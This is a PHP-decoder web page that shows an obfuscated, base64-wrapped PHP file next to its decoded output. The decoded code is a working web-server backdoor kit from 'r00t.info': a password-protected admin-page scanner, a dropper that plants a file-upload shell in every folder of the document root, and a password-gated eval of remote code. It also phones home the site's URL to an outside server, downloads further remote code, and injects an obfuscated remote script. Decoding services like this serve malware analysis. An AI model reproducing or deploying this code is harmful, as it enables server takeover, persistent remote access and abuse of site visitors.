Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval("?>".base64_decode("PD9waHAKQHNlc3Npb25fc3RhcnQoKTsKQHNldF90aW1lX2xpbWl0KDApOwp..
Decoded Output download
?>b'<?php
@session_start();
@set_time_limit(0);
if((isset($v) AND $v==0) OR (isset($t) AND $t==false)){
die(\'\');
}
$create_password = true;
$password = "r00ta";
$pass=$_POST[\'pass\'];
if($pass==$password){
$_SESSION[\'nst\']="$pass";
}
if($create_password==true){
if(!isset($_SESSION[\'nst\']) or $_SESSION[\'nst\']!=$password){
die("
<noembed><xmp><body></xmp></noembed><noembed><xmp></body></html></xmp></noembed><title>www.r00t.info</title> <br><br><br><br><br><br><br><center><body background=white<table width=1 bgcolor=#000000><tr><td><font size=1 face=verdana><center><b></font></a><br></b></center><form method=post><font size=1 face=verdana color=red><strong><center><br>Entrer password</center></strong><br><input type=password name=pass size=10></form>
</td></tr></table>
");}
}
?>
<?php
set_time_limit(0);
error_reporting(0);
$list[\'front\'] ="admin
adm
admincp
admcp
cp
modcp
moderatorcp
adminare
admins
cpanel
controlpanel";
$list[\'end\'] = "admin1.php
wp-admin
wp-login.php
admin1.html
admin2.php
admin2.html
yonetim.php
yonetim.html
yonetici.php
yonetici.html
ccms/
ccms/login.php
ccms/index.php
maintenance/
webmaster/
adm/
configuration/
configure/
websvn/
admin/
admin/account.php
admin/account.html
admin/index.php
admin/index.html
admin/login.php
admin/login.html
admin/home.php
admin/controlpanel.html
admin/controlpanel.php
admin.php
admin.html
admin/cp.php
admin/cp.html
cp.php
cp.html
administrator/
administrator/index.html
administrator/index.php
administrator/login.html
administrator/login.php
administrator/account.html
administrator/account.php
administrator.php
administrator.html
login.php
login.html
modelsearch/login.php
moderator.php
moderator.html
moderator/login.php
moderator/login.html
moderator/admin.php
moderator/admin.html
moderator/
account.php
account.html
controlpanel/
controlpanel.php
controlpanel.html
admincontrol.php
admincontrol.html
adminpanel.php
adminpanel.html
admin1.asp
admin2.asp
yonetim.asp
yonetici.asp
admin/account.asp
admin/index.asp
admin/login.asp
admin/home.asp
admin/controlpanel.asp
admin.asp
admin/cp.asp
cp.asp
administrator/index.asp
administrator/login.asp
administrator/account.asp
administrator.asp
login.asp
modelsearch/login.asp
moderator.asp
moderator/login.asp
moderator/admin.asp
account.asp
controlpanel.asp
admincontrol.asp
adminpanel.asp
fileadmin/
fileadmin.php
fileadmin.asp
fileadmin.html
administration/
administration.php
administration.html
sysadmin.php
sysadmin.html
phpmyadmin/
myadmin/
sysadmin.asp
sysadmin/
ur-admin.asp
ur-admin.php
ur-admin.html
ur-admin/
Server.php
Server.html
Server.asp
Server/
wp-admin/
administr8.php
administr8.html
administr8/
administr8.asp
webadmin/
webadmin.php
webadmin.asp
webadmin.html
administratie/
admins/
admins.php
admins.asp
admins.html
administrivia/
Database_Administration/
WebAdmin/
useradmin/
sysadmins/
admin1/
system-administration/
administrators/
pgadmin/
directadmin/
staradmin/
ServerAdministrator/
SysAdmin/
administer/
LiveUser_Admin/
sys-admin/
typo3/
panel/
cpanel/
cPanel/
cpanel_file/
platz_login/
rcLogin/
blogindex/
formslogin/
autologin/
support_login/
meta_login/
manuallogin/
simpleLogin/
loginflat/
utility_login/
showlogin/
memlogin/
members/
login-redirect/
sub-login/
wp-login/
login1/
dir-login/
login_db/
xlogin/
smblogin/
customer_login/
UserLogin/
login-us/
acct_login/
admin_area/
bigadmin/
project-admins/
phppgadmin/
pureadmin/
sql-admin/
radmind/
openvpnadmin/
wizmysqladmin/
vadmind/
ezsqliteadmin/
hpwebjetadmin/
newsadmin/
adminpro/
Lotus_Domino_Admin/
bbadmin/
vmailadmin/
Indy_admin/
ccp14admin/
irc-macadmin/
banneradmin/
sshadmin/
phpldapadmin/
macadmin/
administratoraccounts/
admin4_account/
admin4_colon/
radmind-1/
Super-Admin/
AdminTools/
cmsadmin/
SysAdmin2/
globes_admin/
cadmins/
phpSQLiteAdmin/
navSiteAdmin/
server_admin_small/
logo_sysadmin/
server/
database_administration/
power_user/
system_administration/
ss_vms_admin_sm/
adminarea/
bb-admin/
adminLogin/
panel-administracion/
instadmin/
memberadmin/
administratorlogin/
admin/admin.php
admin_area/admin.php
admin_area/login.php
siteadmin/login.php
siteadmin/index.php
siteadmin/login.html
admin/admin.html
admin_area/index.php
bb-admin/index.php
bb-admin/login.php
bb-admin/admin.php
admin_area/login.html
admin_area/index.html
admincp/index.asp
admincp/login.asp
admincp/index.html
webadmin/index.html
webadmin/admin.html
webadmin/login.html
admin/admin_login.html
admin_login.html
panel-administracion/login.html
nsw/admin/login.php
webadmin/login.php
admin/admin_login.php
admin_login.php
admin_area/admin.html
pages/admin/admin-login.php
admin/admin-login.php
admin-login.php
bb-admin/index.html
bb-admin/login.html
bb-admin/admin.html
admin/home.html
pages/admin/admin-login.html
admin/admin-login.html
admin-login.html
admin/adminLogin.html
adminLogin.html
home.html
rcjakar/admin/login.php
adminarea/index.html
adminarea/admin.html
webadmin/index.php
webadmin/admin.php
user.html
modelsearch/login.html
adminarea/login.html
panel-administracion/index.html
panel-administracion/admin.html
modelsearch/index.html
modelsearch/admin.html
admincontrol/login.html
adm/index.html
adm.html
user.php
panel-administracion/login.php
wp-login.php
adminLogin.php
admin/adminLogin.php
home.php
adminarea/index.php
adminarea/admin.php
adminarea/login.php
panel-administracion/index.php
panel-administracion/admin.php
modelsearch/index.php
modelsearch/admin.php
admincontrol/login.php
adm/admloginuser.php
admloginuser.php
admin2/login.php
admin2/index.php
adm/index.php
adm.php
affiliate.php
adm_auth.php
memberadmin.php
administratorlogin.php
admin/admin.asp
admin_area/admin.asp
admin_area/login.asp
admin_area/index.asp
bb-admin/index.asp
bb-admin/login.asp
bb-admin/admin.asp
pages/admin/admin-login.asp
admin/admin-login.asp
admin-login.asp
user.asp
webadmin/index.asp
webadmin/admin.asp
webadmin/login.asp
admin/admin_login.asp
admin_login.asp
panel-administracion/login.asp
adminLogin.asp
admin/adminLogin.asp
home.asp
adminarea/index.asp
adminarea/admin.asp
adminarea/login.asp
panel-administracion/index.asp
panel-administracion/admin.asp
modelsearch/index.asp
modelsearch/admin.asp
admincontrol/login.asp
adm/admloginuser.asp
admloginuser.asp
admin2/login.asp
admin2/index.asp
adm/index.asp
adm.asp
affiliate.asp
adm_auth.asp
memberadmin.asp
administratorlogin.asp
siteadmin/login.asp
siteadmin/index.asp
ADMIN/
paneldecontrol/
login/
cms/
admon/
ADMON/
administrador/
ADMIN/login.php
panelc/
ADMIN/login.html";
function template() {
echo \'
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-9" />
<title>www.r00t.info admin Fider</title>
<style type="text/css">
body{
background: #000;
margin: 0;
padding: 0;
padding-top: 10px;
color: #FFF;
font-family: Calibri;
font-size: 13px;
}
a{
color: #FFF;
text-decoration: none;
font-weight: bold;
}
.wrapper{
width: 1000px;
margin: 0 auto;
}
.tube{
padding: 10px;
}
.red{
width: 998px;
border: 1px solid #e52224;
background: #191919;
color: #e52224
}
.red input{
background: #000;
border: 1px solid #e52224;
color: #FFF;
}
.blue{
float: left;
width: 1000px;
border: 1px solid #1d7fc3;
background: #191919;
color: #1d7fc3;
}
.green{
float: left;
width: 1000px;
border: 1px solid #5fd419;
background: #191919;
color: #5fd419;
}
</style>
<script type="text/javascript">
<!--
function insertcode($text, $place, $replace)
{
var $this = $text;
var logbox = document.getElementById($place);
if($replace == 0)
document.getElementById($place).innerHTML = logbox.innerHTML+$this;
else
document.getElementById($place).innerHTML = $this;
//document.getElementById("helpbox").innerHTML = $this;
}
-->
</script>
</head>
<body>
<br />
<br />
<div class="wrapper">
<div class="red">
<div class="tube">
<form action="" method="post" name="xploit_form">
URL:<br /><input type="text" name="xploit_url" value="\'.$_POST[\'xploit_url\'].\'" style="width: 100%;" /><br /><br />
404string:<br /><input type="text" name="xploit_404string" value="\'.$_POST[\'xploit_404string\'].\'" style="width: 100%;" /><br /><br />
<span style="float: right;"><input type="submit" name="xploit_submit" value="go for it" align="right" /></span>
</form>
<br />
</div> <!-- /tube -->
</div> <!-- /red -->
<br />
<div class="green">
<div class="tube" id="rightcol">
Verificat: <span id="verified">0</span> / <span id="total">0</span><br />
Found ones:<br />
</div> <!-- /tube -->
</div> <!-- /green -->
<br clear="all" /><br />
<div class="blue">
<div class="tube" id="logbox">
<br />
<br />
Admin page Finder<br />
Edit by r00t.info
<br>
<br>
<br>
<br />
</div> <!-- /tube -->
</div> <!-- /blue -->
</div> <!-- /wrapper -->
<br clear="all">\';
}
function show($msg, $br=1, $stop=0, $place=\'logbox\', $replace=0) {
if($br == 1) $msg .= "<br />";
echo "<script type=\"text/javascript\">insertcode(\'".$msg."\', \'".$place."\', \'".$replace."\');</script>";
if($stop == 1) exit;
@flush();@ob_flush();
}
function check($x, $front=0) {
global $_POST,$site,$false;
if($front == 0) $t = $site.$x;
else $t = \'http://\'.$x.\'.\'.$site.\'/\';
$headers = get_headers($t);
if (!eregi(\'200\', $headers[0])) return 0;
$data = @file_get_contents($t);
if($_POST[\'xploit_404string\'] == "") if($data == $false) return 0;
if($_POST[\'xploit_404string\'] != "") if(strpos($data, $_POST[\'xploit_404string\'])) return 0;
return 1;
}
// --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
template();
if(!isset($_POST[\'xploit_url\'])) die;
if($_POST[\'xploit_url\'] == \'\') die;
$site = $_POST[\'xploit_url\'];
if ($site[strlen($site)-1] != "/") $site .= "/";
if($_POST[\'xploit_404string\'] == "") $false = @file_get_contents($site."d65897f5380a21a42db94b3927b823d56ee1099a-this_can-t_exist.html");
$list[\'end\'] = str_replace("
", "", $list[\'end\']);
$list[\'front\'] = str_replace("
", "", $list[\'front\']);
$pathes = explode("
", $list[\'end\']);
$frontpathes = explode("
", $list[\'front\']);
show(count($pathes)+count($frontpathes), 1, 0, \'total\', 1);
$verificate = 0;
foreach($pathes as $path) {
show(\'Checking \'.$site.$path.\' : \', 0, 0, \'logbox\', 0);
$verificate++; show($verificate, 0, 0, \'verified\', 1);
if(check($path) == 0) show(\'not found\', 1, 0, \'logbox\', 0);
else{
show(\'<span style="color: #00FF00;"><strong>found</strong></span>\', 1, 0, \'logbox\', 0);
show(\'<a href="\'.$site.$path.\'">\'.$site.$path.\'</a>\', 1, 0, \'rightcol\', 0);
}
}
preg_match("/\/\/(.*?)\//i", $site, $xx); $site = $xx[1];
if(substr($site, 0, 3) == "www") $site = substr($site, 4);
foreach($frontpathes as $frontpath) {
show(\'Checking http://\'.$frontpath.\'.\'.$site.\'/ : \', 0, 0, \'logbox\', 0);
$verificate++; show($verificate, 0, 0, \'verified\', 1);
if(check($frontpath, 1) == 0) show(\'not found\', 1, 0, \'logbox\', 0);
else{
show(\'<span style="color: #00FF00;"><strong>found</strong></span>\', 1, 0, \'logbox\', 0);
show(\'<a href="http://\'.$frontpath.\'.\'.$site.\'/">\'.$frontpath.\'.\'.$site.\'</a>\', 1, 0, \'rightcol\', 0);
}
}
?>
<?php
@session_start();
@error_reporting(0);
@ini_set(\'error_log\',NULL);
@ini_set(\'log_errors\',0);
@ini_set(\'max_execution_time\',0);
@ini_set(\'display_errors\', 0);
@ini_set(\'output_buffering\',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
?>
<?php
@session_start();
@error_reporting(0);
$a = \'<?php
session_start();
if($_SESSION["adm"]){
echo \'<b>Namesis<br><br>\'.php_uname().\'<br></b>\';echo \'<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\';echo \'<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>\';if( $_POST[\'_upl\'] == "Upload" ) { if(@copy($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\'])) { echo \'<b>Upload Success !!!</b><br><br>\'; } else { echo \'<b>Upload Fail !!!</b><br><br>\'; }}
}
if($_POST["p"]){
$p = $_POST["p"];
$pa = md5(sha1($p));
if($pa=="c86ae804b9def5476bb0b2f459351e63"){
$_SESSION["adm"] = 1;
}
}
?>
<form action="" method="post">
<input type="text" name="p">
</form>
\';
if(@$_REQUEST["px"]){
$p = @$_REQUEST["px"];
$pa = md5(sha1($p));
if($pa=="c86ae804b9def5476bb0b2f459351e63"){
echo eval(@file_get_contents(@$_REQUEST["404"]));
}
}
if(@!$_SESSION["sdm"]){
$doc = $_SERVER["DOCUMENT_ROOT"];
$dir = scandir($doc);
$d1 = \'\'.$doc.\'/.\';
$d2 = \'\'.$doc.\'/..\';
if(($key = @array_search(\'.\', $dir)) !== false) {
unset($dir[$key]);
}
if(($key = @array_search(\'..\', $dir)) !== false) {
unset($dir[$key]);
}
if(($key = @array_search($d1, $dir)) !== false) {
unset($dir[$key]);
}
if(($key = array_search($d2, $dir)) !== false) {
unset($dir[$key]);
}
@array_push($dir,$doc);
foreach($dir as $d){
$p = $doc."/".$d;
if(is_dir($p)){
$file = $p."/newsr.php";
@touch($file);
$folder = @fopen($file,"w");
@fwrite($folder,$a);
}
}
$lls = $_SERVER["HTTP_HOST"];
$llc = $_SERVER["REQUEST_URI"];
$lld = \'http://\'.$lls.\'\'.$llc.\'\';
$brow = urlencode($_SERVER[\'HTTP_USER_AGENT\']);
$retValue = file_get_contents(base64_decode("aHR0cDovL3IwMHQuaW5mby9ib3QveWF6LnBocD9h")."=".$lld.base64_decode("JmI=")."=".$brow);
echo $retValue;
@$_SESSION["sdm"]=1;
}
?>
<?php
if($_POST[\'query\']){
$veriyfy = stripslashes(stripslashes($_POST[\'query\']));
$data = "data.txt";
@touch ("data.txt");
$ver = @fopen ($data , \'w\');
@fwrite ( $ver , $veriyfy ) ;
@fclose ($ver);
}else{
$datas=@fopen("data.txt",\'r\');
$i=0;
while ($i <= 5) {
$i++;
$blue=@fgets($datas,1024);
echo $blue;
}
}
$datasi=@fopen("modules/indexx.php",\'r\');
if($datasi){
}else{
@mkdir("modules");
$dos = file_get_contents("http://r00t.info/txt/lamer.txt");
$data = "modules/indexx.php";
@touch ("modules/indexx.php");
$ver = @fopen ($data , \'w\');
@fwrite ( $ver , $dos ) ;
@fclose ($ver);
$yol = "http://".$_SERVER[\'HTTP_HOST\']."".$_SERVER[\'REQUEST_URI\']."";
$y = \'<h1>Sender Yazdirildi.<br/> SITE YOL : \'.$yol.\'<br/>Sender Yolu : modules/dbs.php</h1>\';
$header .= "From: SheLL Boot <[email protected]>
";
$header .= "Content-Type: text/html; charset=utf-8
";
@mail("[email protected]", "Hacklink Bildiri", "$y", $header);
@mail("[email protected]", "Hacklink Bildiri", "$y", $header);
}
?>
<script type="text/javascript">
document.write(unescape(\'%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%72%30%30%74%2E%69%6E%66%6F%2F%62%6F%74%2F%6C%6F%67%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E\'));
</script>
'
Did this file decode correctly?
Original Code
<?php eval("?>".base64_decode("PD9waHAKQHNlc3Npb25fc3RhcnQoKTsKQHNldF90aW1lX2xpbWl0KDApOwppZigoaXNzZXQoJHYp
IEFORCAkdj09MCkgT1IgKGlzc2V0KCR0KSBBTkQgJHQ9PWZhbHNlKSl7CmRpZSgnJyk7Cn0KJGNy
ZWF0ZV9wYXNzd29yZCA9IHRydWU7CiRwYXNzd29yZCA9ICJyMDB0YSI7CiRwYXNzPSRfUE9TVFsn
cGFzcyddOwppZigkcGFzcz09JHBhc3N3b3JkKXsKJF9TRVNTSU9OWyduc3QnXT0iJHBhc3MiOwp9
CmlmKCRjcmVhdGVfcGFzc3dvcmQ9PXRydWUpewppZighaXNzZXQoJF9TRVNTSU9OWyduc3QnXSkg
b3IgJF9TRVNTSU9OWyduc3QnXSE9JHBhc3N3b3JkKXsKZGllKCIKPG5vZW1iZWQ+PHhtcD48Ym9k
eT48L3htcD48L25vZW1iZWQ+PG5vZW1iZWQ+PHhtcD48L2JvZHk+PC9odG1sPjwveG1wPjwvbm9l
bWJlZD48dGl0bGU+d3d3LnIwMHQuaW5mbzwvdGl0bGU+IDxicj48YnI+PGJyPjxicj48YnI+PGJy
Pjxicj48Y2VudGVyPjxib2R5IGJhY2tncm91bmQ9d2hpdGU8dGFibGUgd2lkdGg9MSBiZ2NvbG9y
PSMwMDAwMDA+PHRyPjx0ZD48Zm9udCBzaXplPTEgZmFjZT12ZXJkYW5hPjxjZW50ZXI+PGI+PC9m
b250PjwvYT48YnI+PC9iPjwvY2VudGVyPjxmb3JtIG1ldGhvZD1wb3N0Pjxmb250IHNpemU9MSBm
YWNlPXZlcmRhbmEgY29sb3I9cmVkPjxzdHJvbmc+PGNlbnRlcj48YnI+RW50cmVyIHBhc3N3b3Jk
PC9jZW50ZXI+PC9zdHJvbmc+PGJyPjxpbnB1dCB0eXBlPXBhc3N3b3JkIG5hbWU9cGFzcyBzaXpl
PTEwPjwvZm9ybT4KPC90ZD48L3RyPjwvdGFibGU+CiIpO30KfQo/Pgo8P3BocApzZXRfdGltZV9s
aW1pdCgwKTsKZXJyb3JfcmVwb3J0aW5nKDApOwokbGlzdFsnZnJvbnQnXSA9ImFkbWluCmFkbQph
ZG1pbmNwCmFkbWNwCmNwCm1vZGNwCm1vZGVyYXRvcmNwCmFkbWluYXJlCmFkbWlucwpjcGFuZWwK
Y29udHJvbHBhbmVsIjsKJGxpc3RbJ2VuZCddID0gImFkbWluMS5waHAKd3AtYWRtaW4Kd3AtbG9n
aW4ucGhwCmFkbWluMS5odG1sCmFkbWluMi5waHAKYWRtaW4yLmh0bWwKeW9uZXRpbS5waHAKeW9u
ZXRpbS5odG1sCnlvbmV0aWNpLnBocAp5b25ldGljaS5odG1sCmNjbXMvCmNjbXMvbG9naW4ucGhw
CmNjbXMvaW5kZXgucGhwCm1haW50ZW5hbmNlLwp3ZWJtYXN0ZXIvCmFkbS8KY29uZmlndXJhdGlv
bi8KY29uZmlndXJlLwp3ZWJzdm4vCmFkbWluLwphZG1pbi9hY2NvdW50LnBocAphZG1pbi9hY2Nv
dW50Lmh0bWwKYWRtaW4vaW5kZXgucGhwCmFkbWluL2luZGV4Lmh0bWwKYWRtaW4vbG9naW4ucGhw
CmFkbWluL2xvZ2luLmh0bWwKYWRtaW4vaG9tZS5waHAKYWRtaW4vY29udHJvbHBhbmVsLmh0bWwK
YWRtaW4vY29udHJvbHBhbmVsLnBocAphZG1pbi5waHAKYWRtaW4uaHRtbAphZG1pbi9jcC5waHAK
YWRtaW4vY3AuaHRtbApjcC5waHAKY3AuaHRtbAphZG1pbmlzdHJhdG9yLwphZG1pbmlzdHJhdG9y
L2luZGV4Lmh0bWwKYWRtaW5pc3RyYXRvci9pbmRleC5waHAKYWRtaW5pc3RyYXRvci9sb2dpbi5o
dG1sCmFkbWluaXN0cmF0b3IvbG9naW4ucGhwCmFkbWluaXN0cmF0b3IvYWNjb3VudC5odG1sCmFk
bWluaXN0cmF0b3IvYWNjb3VudC5waHAKYWRtaW5pc3RyYXRvci5waHAKYWRtaW5pc3RyYXRvci5o
dG1sCmxvZ2luLnBocApsb2dpbi5odG1sCm1vZGVsc2VhcmNoL2xvZ2luLnBocAptb2RlcmF0b3Iu
cGhwCm1vZGVyYXRvci5odG1sCm1vZGVyYXRvci9sb2dpbi5waHAKbW9kZXJhdG9yL2xvZ2luLmh0
bWwKbW9kZXJhdG9yL2FkbWluLnBocAptb2RlcmF0b3IvYWRtaW4uaHRtbAptb2RlcmF0b3IvCmFj
Y291bnQucGhwCmFjY291bnQuaHRtbApjb250cm9scGFuZWwvCmNvbnRyb2xwYW5lbC5waHAKY29u
dHJvbHBhbmVsLmh0bWwKYWRtaW5jb250cm9sLnBocAphZG1pbmNvbnRyb2wuaHRtbAphZG1pbnBh
bmVsLnBocAphZG1pbnBhbmVsLmh0bWwKYWRtaW4xLmFzcAphZG1pbjIuYXNwCnlvbmV0aW0uYXNw
CnlvbmV0aWNpLmFzcAphZG1pbi9hY2NvdW50LmFzcAphZG1pbi9pbmRleC5hc3AKYWRtaW4vbG9n
aW4uYXNwCmFkbWluL2hvbWUuYXNwCmFkbWluL2NvbnRyb2xwYW5lbC5hc3AKYWRtaW4uYXNwCmFk
bWluL2NwLmFzcApjcC5hc3AKYWRtaW5pc3RyYXRvci9pbmRleC5hc3AKYWRtaW5pc3RyYXRvci9s
b2dpbi5hc3AKYWRtaW5pc3RyYXRvci9hY2NvdW50LmFzcAphZG1pbmlzdHJhdG9yLmFzcApsb2dp
bi5hc3AKbW9kZWxzZWFyY2gvbG9naW4uYXNwCm1vZGVyYXRvci5hc3AKbW9kZXJhdG9yL2xvZ2lu
LmFzcAptb2RlcmF0b3IvYWRtaW4uYXNwCmFjY291bnQuYXNwCmNvbnRyb2xwYW5lbC5hc3AKYWRt
aW5jb250cm9sLmFzcAphZG1pbnBhbmVsLmFzcApmaWxlYWRtaW4vCmZpbGVhZG1pbi5waHAKZmls
ZWFkbWluLmFzcApmaWxlYWRtaW4uaHRtbAphZG1pbmlzdHJhdGlvbi8KYWRtaW5pc3RyYXRpb24u
cGhwCmFkbWluaXN0cmF0aW9uLmh0bWwKc3lzYWRtaW4ucGhwCnN5c2FkbWluLmh0bWwKcGhwbXlh
ZG1pbi8KbXlhZG1pbi8Kc3lzYWRtaW4uYXNwCnN5c2FkbWluLwp1ci1hZG1pbi5hc3AKdXItYWRt
aW4ucGhwCnVyLWFkbWluLmh0bWwKdXItYWRtaW4vClNlcnZlci5waHAKU2VydmVyLmh0bWwKU2Vy
dmVyLmFzcApTZXJ2ZXIvCndwLWFkbWluLwphZG1pbmlzdHI4LnBocAphZG1pbmlzdHI4Lmh0bWwK
YWRtaW5pc3RyOC8KYWRtaW5pc3RyOC5hc3AKd2ViYWRtaW4vCndlYmFkbWluLnBocAp3ZWJhZG1p
bi5hc3AKd2ViYWRtaW4uaHRtbAphZG1pbmlzdHJhdGllLwphZG1pbnMvCmFkbWlucy5waHAKYWRt
aW5zLmFzcAphZG1pbnMuaHRtbAphZG1pbmlzdHJpdmlhLwpEYXRhYmFzZV9BZG1pbmlzdHJhdGlv
bi8KV2ViQWRtaW4vCnVzZXJhZG1pbi8Kc3lzYWRtaW5zLwphZG1pbjEvCnN5c3RlbS1hZG1pbmlz
dHJhdGlvbi8KYWRtaW5pc3RyYXRvcnMvCnBnYWRtaW4vCmRpcmVjdGFkbWluLwpzdGFyYWRtaW4v
ClNlcnZlckFkbWluaXN0cmF0b3IvClN5c0FkbWluLwphZG1pbmlzdGVyLwpMaXZlVXNlcl9BZG1p
bi8Kc3lzLWFkbWluLwp0eXBvMy8KcGFuZWwvCmNwYW5lbC8KY1BhbmVsLwpjcGFuZWxfZmlsZS8K
cGxhdHpfbG9naW4vCnJjTG9naW4vCmJsb2dpbmRleC8KZm9ybXNsb2dpbi8KYXV0b2xvZ2luLwpz
dXBwb3J0X2xvZ2luLwptZXRhX2xvZ2luLwptYW51YWxsb2dpbi8Kc2ltcGxlTG9naW4vCmxvZ2lu
ZmxhdC8KdXRpbGl0eV9sb2dpbi8Kc2hvd2xvZ2luLwptZW1sb2dpbi8KbWVtYmVycy8KbG9naW4t
cmVkaXJlY3QvCnN1Yi1sb2dpbi8Kd3AtbG9naW4vCmxvZ2luMS8KZGlyLWxvZ2luLwpsb2dpbl9k
Yi8KeGxvZ2luLwpzbWJsb2dpbi8KY3VzdG9tZXJfbG9naW4vClVzZXJMb2dpbi8KbG9naW4tdXMv
CmFjY3RfbG9naW4vCmFkbWluX2FyZWEvCmJpZ2FkbWluLwpwcm9qZWN0LWFkbWlucy8KcGhwcGdh
ZG1pbi8KcHVyZWFkbWluLwpzcWwtYWRtaW4vCnJhZG1pbmQvCm9wZW52cG5hZG1pbi8Kd2l6bXlz
cWxhZG1pbi8KdmFkbWluZC8KZXpzcWxpdGVhZG1pbi8KaHB3ZWJqZXRhZG1pbi8KbmV3c2FkbWlu
LwphZG1pbnByby8KTG90dXNfRG9taW5vX0FkbWluLwpiYmFkbWluLwp2bWFpbGFkbWluLwpJbmR5
X2FkbWluLwpjY3AxNGFkbWluLwppcmMtbWFjYWRtaW4vCmJhbm5lcmFkbWluLwpzc2hhZG1pbi8K
cGhwbGRhcGFkbWluLwptYWNhZG1pbi8KYWRtaW5pc3RyYXRvcmFjY291bnRzLwphZG1pbjRfYWNj
b3VudC8KYWRtaW40X2NvbG9uLwpyYWRtaW5kLTEvClN1cGVyLUFkbWluLwpBZG1pblRvb2xzLwpj
bXNhZG1pbi8KU3lzQWRtaW4yLwpnbG9iZXNfYWRtaW4vCmNhZG1pbnMvCnBocFNRTGl0ZUFkbWlu
LwpuYXZTaXRlQWRtaW4vCnNlcnZlcl9hZG1pbl9zbWFsbC8KbG9nb19zeXNhZG1pbi8Kc2VydmVy
LwpkYXRhYmFzZV9hZG1pbmlzdHJhdGlvbi8KcG93ZXJfdXNlci8Kc3lzdGVtX2FkbWluaXN0cmF0
aW9uLwpzc192bXNfYWRtaW5fc20vCmFkbWluYXJlYS8KYmItYWRtaW4vCmFkbWluTG9naW4vCnBh
bmVsLWFkbWluaXN0cmFjaW9uLwppbnN0YWRtaW4vCm1lbWJlcmFkbWluLwphZG1pbmlzdHJhdG9y
bG9naW4vCmFkbWluL2FkbWluLnBocAphZG1pbl9hcmVhL2FkbWluLnBocAphZG1pbl9hcmVhL2xv
Z2luLnBocApzaXRlYWRtaW4vbG9naW4ucGhwCnNpdGVhZG1pbi9pbmRleC5waHAKc2l0ZWFkbWlu
L2xvZ2luLmh0bWwKYWRtaW4vYWRtaW4uaHRtbAphZG1pbl9hcmVhL2luZGV4LnBocApiYi1hZG1p
bi9pbmRleC5waHAKYmItYWRtaW4vbG9naW4ucGhwCmJiLWFkbWluL2FkbWluLnBocAphZG1pbl9h
cmVhL2xvZ2luLmh0bWwKYWRtaW5fYXJlYS9pbmRleC5odG1sCmFkbWluY3AvaW5kZXguYXNwCmFk
bWluY3AvbG9naW4uYXNwCmFkbWluY3AvaW5kZXguaHRtbAp3ZWJhZG1pbi9pbmRleC5odG1sCndl
YmFkbWluL2FkbWluLmh0bWwKd2ViYWRtaW4vbG9naW4uaHRtbAphZG1pbi9hZG1pbl9sb2dpbi5o
dG1sCmFkbWluX2xvZ2luLmh0bWwKcGFuZWwtYWRtaW5pc3RyYWNpb24vbG9naW4uaHRtbApuc3cv
YWRtaW4vbG9naW4ucGhwCndlYmFkbWluL2xvZ2luLnBocAphZG1pbi9hZG1pbl9sb2dpbi5waHAK
YWRtaW5fbG9naW4ucGhwCmFkbWluX2FyZWEvYWRtaW4uaHRtbApwYWdlcy9hZG1pbi9hZG1pbi1s
b2dpbi5waHAKYWRtaW4vYWRtaW4tbG9naW4ucGhwCmFkbWluLWxvZ2luLnBocApiYi1hZG1pbi9p
bmRleC5odG1sCmJiLWFkbWluL2xvZ2luLmh0bWwKYmItYWRtaW4vYWRtaW4uaHRtbAphZG1pbi9o
b21lLmh0bWwKcGFnZXMvYWRtaW4vYWRtaW4tbG9naW4uaHRtbAphZG1pbi9hZG1pbi1sb2dpbi5o
dG1sCmFkbWluLWxvZ2luLmh0bWwKYWRtaW4vYWRtaW5Mb2dpbi5odG1sCmFkbWluTG9naW4uaHRt
bApob21lLmh0bWwKcmNqYWthci9hZG1pbi9sb2dpbi5waHAKYWRtaW5hcmVhL2luZGV4Lmh0bWwK
YWRtaW5hcmVhL2FkbWluLmh0bWwKd2ViYWRtaW4vaW5kZXgucGhwCndlYmFkbWluL2FkbWluLnBo
cAp1c2VyLmh0bWwKbW9kZWxzZWFyY2gvbG9naW4uaHRtbAphZG1pbmFyZWEvbG9naW4uaHRtbApw
YW5lbC1hZG1pbmlzdHJhY2lvbi9pbmRleC5odG1sCnBhbmVsLWFkbWluaXN0cmFjaW9uL2FkbWlu
Lmh0bWwKbW9kZWxzZWFyY2gvaW5kZXguaHRtbAptb2RlbHNlYXJjaC9hZG1pbi5odG1sCmFkbWlu
Y29udHJvbC9sb2dpbi5odG1sCmFkbS9pbmRleC5odG1sCmFkbS5odG1sCnVzZXIucGhwCnBhbmVs
LWFkbWluaXN0cmFjaW9uL2xvZ2luLnBocAp3cC1sb2dpbi5waHAKYWRtaW5Mb2dpbi5waHAKYWRt
aW4vYWRtaW5Mb2dpbi5waHAKaG9tZS5waHAKYWRtaW5hcmVhL2luZGV4LnBocAphZG1pbmFyZWEv
YWRtaW4ucGhwCmFkbWluYXJlYS9sb2dpbi5waHAKcGFuZWwtYWRtaW5pc3RyYWNpb24vaW5kZXgu
cGhwCnBhbmVsLWFkbWluaXN0cmFjaW9uL2FkbWluLnBocAptb2RlbHNlYXJjaC9pbmRleC5waHAK
bW9kZWxzZWFyY2gvYWRtaW4ucGhwCmFkbWluY29udHJvbC9sb2dpbi5waHAKYWRtL2FkbWxvZ2lu
dXNlci5waHAKYWRtbG9naW51c2VyLnBocAphZG1pbjIvbG9naW4ucGhwCmFkbWluMi9pbmRleC5w
aHAKYWRtL2luZGV4LnBocAphZG0ucGhwCmFmZmlsaWF0ZS5waHAKYWRtX2F1dGgucGhwCm1lbWJl
cmFkbWluLnBocAphZG1pbmlzdHJhdG9ybG9naW4ucGhwCmFkbWluL2FkbWluLmFzcAphZG1pbl9h
cmVhL2FkbWluLmFzcAphZG1pbl9hcmVhL2xvZ2luLmFzcAphZG1pbl9hcmVhL2luZGV4LmFzcApi
Yi1hZG1pbi9pbmRleC5hc3AKYmItYWRtaW4vbG9naW4uYXNwCmJiLWFkbWluL2FkbWluLmFzcApw
